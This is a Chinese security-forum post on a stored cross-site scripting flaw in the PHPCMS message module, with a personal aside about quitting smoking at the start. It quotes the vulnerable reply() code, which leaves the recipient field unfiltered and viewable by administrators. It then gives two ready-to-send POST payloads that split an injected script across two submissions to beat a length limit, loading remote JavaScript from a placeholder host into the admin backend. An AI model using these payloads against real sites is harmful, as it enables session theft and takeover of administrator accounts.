【鸡肋2】Phpcms xss

2013-07-13 01:16:09 32 4023 1
最近戒烟,总是戒不掉,坚持了一个月 后来还是忍不住抽了几口
结果停不住了,最多的时候有大概2个月 一天3包的样子
抽到最后抽什么烟感觉都没味道了,顺便求个戒烟的法子。

也是以前的存货了,不知道有木有修复
message/index.php
public function reply() {
        if(isset($_POST['dosubmit'])) {
            $messageid = intval($_POST['info']['replyid']);
            //判断当前会员,是否可发,短消息.
            $this->message_db->messagecheck($this->_userid);
            //检查此消息是否有权限回复
            $this->check_user($messageid,'to');
            $info = array();
               
            $info['send_from_id'] = $this->_username;
            $info['message_time'] = SYS_TIME;
            $info['status'] = '1';
            $info['folder'] = 'inbox';
            $info['content'] = safe_replace($_POST['info']['content']);
            $info['subject'] = safe_replace($_POST['info']['subject']);
            $info['replyid'] = intval($_POST['info']['replyid']);
            if(empty($_POST['info']['send_to_id'])) {
                showmessage(L('user_noempty'),HTTP_REFERER);
            } else {
                $info['send_to_id'] = $_POST['info']['send_to_id'];//send to id没过滤
            }
            $messageid = $this->message_db->insert($info,true);//插入了 后台可以查看
            if(!$messageid) return FALSE;
            showmessage(L('operation_success'),HTTP_REFERER);
               
        } else {
            $show_validator = $show_scroll = $show_header = true;
            include template('message', 'send');
        }
    }
        
      
}
因为有长度限制 但是我们可以提交俩次 然后闭合 就可以插入我们的代码了。也是比较鸡肋
POST
[url]http://127.0.0.1/phpcms/index.php?m=message&c=index&a=send[/url]
info%5Bsend_to_id%5D=*/</script>&info%5Bsubject%5D=12'"<SSSS><>21312&info%5Bcontent%5D=3123123&code=VWKM&dosubmit=%C8%B7+%B6%A8
第二次POS,下面的长度已经是极限了所以需要很短的URL..
info%5Bsend_to_id%5D=<script src=http://xxx.xx/>/*&info%5Bsubject%5D=12'"<SSSS><>21312&info%5Bcontent%5D=3123123&code=VWKM&dosubmit=%C8%B7+%B6%A8
然后这样就能突破长度限制

关于作者

Cond0r136篇文章1277篇回复

评论32次

要评论?请先  登录  或  注册